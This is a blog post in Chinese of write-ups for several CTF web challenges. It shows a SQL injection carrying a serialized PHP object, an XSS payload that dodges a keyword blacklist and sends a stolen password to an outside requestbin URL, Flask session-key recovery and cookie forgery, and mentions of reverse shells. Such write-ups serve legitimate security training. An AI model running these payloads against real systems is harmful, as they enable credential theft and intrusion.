[BUUOJ] Learn 7

[安洵杯 2019]不是文件上传

打开靶机,是一个文件上传页面

测试了一会儿发现只能上传图片

然后就去看了一下源码

原来这就是源码泄露题

源码复制不过来我就不复制了

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
include("./helper.php"); 
class upload extends helper { 
    public function upload_base(){ 
        $this->upload();
	}
}
 
if ($_FILES){
	if ($_FILES["file"]["error"]){
		die("Upload file failed.");
	}else{
		$file = new upload();
		$file->upload_base();
	}
}
 
$a = new helper();

发现没有过滤file文件名并且调用了helper类

跟一下helper类中有一个__destruct魔术方法可以利用,通过调用view_files中的file_get_contents来读取flag。

这里改为true,利用这里的内容读一下flag、

1
2
3
4
5
6
class helper {
    protected $ifview = True; 
    protected $config = "/flag";
}
$a = new helper();
echo serialize($a);

输出:O:6:”helper”:2:{s:9:”*ifview”;b:1;s:9:”*config”;s:5:”/flag”;}

这里的属性值ifview和config都是protected类型的,所以需要将payload修改为:

O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

(以至于为什么要将修改为\0\0\0,是因为源码中在存取过程中对protected类型的属性进行了处理。)

正常上传图片的sql语句为:

        $sql = “INSERT INTO images (“.(implode(“,”,$sql_fields)).”) VALUES(“.(implode(“,”,$sql_val)).”)”;
也就是:
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')

由于title处是我们能够控制的,所以构造文件名如下:

1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg

因为上传的文件名中不能有双引号,所以将payload进行16进制编码。

使用 Brupsuite 将上传的 filename 修改为构造的文件名上传,再访问 show.php 即可得到flag。

参考:安洵杯2019 官方Writeup(Web/Misc)


[GWCTF 2019]mypassword

又是面向WP做题的一天

一个登陆页面

登陆呗

发现有一个feedback

目测是要打XSS了

发现源码中有一些注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(is_array($feedback)){
	echo "";
	return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
	while(true){
		if(stripos($feedback,$val) !== false){
		       $feedback = str_ireplace($val,"",$feedback);
		}else{
		      break;
		}
	}
}

发现存在黑名单过滤,但是仔细读一下发现是替换为空,双写就可以绕过了

之后再login.js中发现了另一些代码

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

会把当前用户的用户名和密码填进当前的表单中来

允许内联脚本执行, 但是不可以远程请求js脚本执行, 不过已经够了, 把密码发到xss平台就好

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/19thsto1/?a="+psw;
</scrcookieipt>

[CISCN2019 华东南赛区]Web4

打开靶机只有一个按钮,?url=https://baidu.com

猜测含有文件包含,读一下etc/passwd

发现了app目录,读一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
 
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
 
@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
 
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'
 
@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'
 
if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

发现定义了一个/flag路由,如果username为fuck就输出flag

发现加密方式是app.config[‘SECRET_KEY’] = str(random.random()*233)

而这个种子来源于random.seed(uuid.getnode())

uuid.getnode()返回的是什么呢?——MAC地址

所以我们读一下mac:/sys/class/net/eth0/address

写个脚本算一下随机数

1
2
3
4
5
6
7
import random
 
ma="02:42:ae:00:c1:a2"
mac=mac.replace(":", "")
random.seed(int(mac,16))
key = str(random.random() * 233)
print(key)

然后用flask_session_cookie_manager3.py解密和加密

decode -s 211.833641783 -c eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XqaWVg.-UW-FoXwQwwRr0kbQLgcNSWTuTg
--> {'username': b'www-data'}

encode -s 211.833641783 -t "{'username': b'fuck'}"
--> eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.XqaXKQ.SO-G1LwBT7IxPpvOMtzDR1vA4ZY

生成的cookie替换已有的cookie,访问flag就有flag了


[CSAWQual 2019]Web_Unagi

打开靶机,发现有一个文件上传界面,给了示例:

很明显是应该使用XXE读文件了,给了flag在根目录,构造一下

上传以后发现被拦截了:

那就上传一个UTF16的吧!

成功获取flag


[WUSTCTF2020]easyweb

tomcat文件包含漏洞,找个JSP反弹shell脚本包含监听即可


Wallbreaker_Easy

打开靶机直接给了shell

连接上去直接用插件绕过了。。。。。。。。

预期解是绕过disable_function

https://xz.aliyun.com/t/4688


[watevrCTF-2019]Pickle Store

Pickle反序列化 python类的。从网上找了个反弹shell的python3脚本,替换cookie监听一下就可以了


[FireshellCTF2020]URL TO PDF

随便输入一个url,可以返回一个PDF。猜测要通过带出flag的内容到pdf中

这个文章了

写一个html

分离下就有了

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud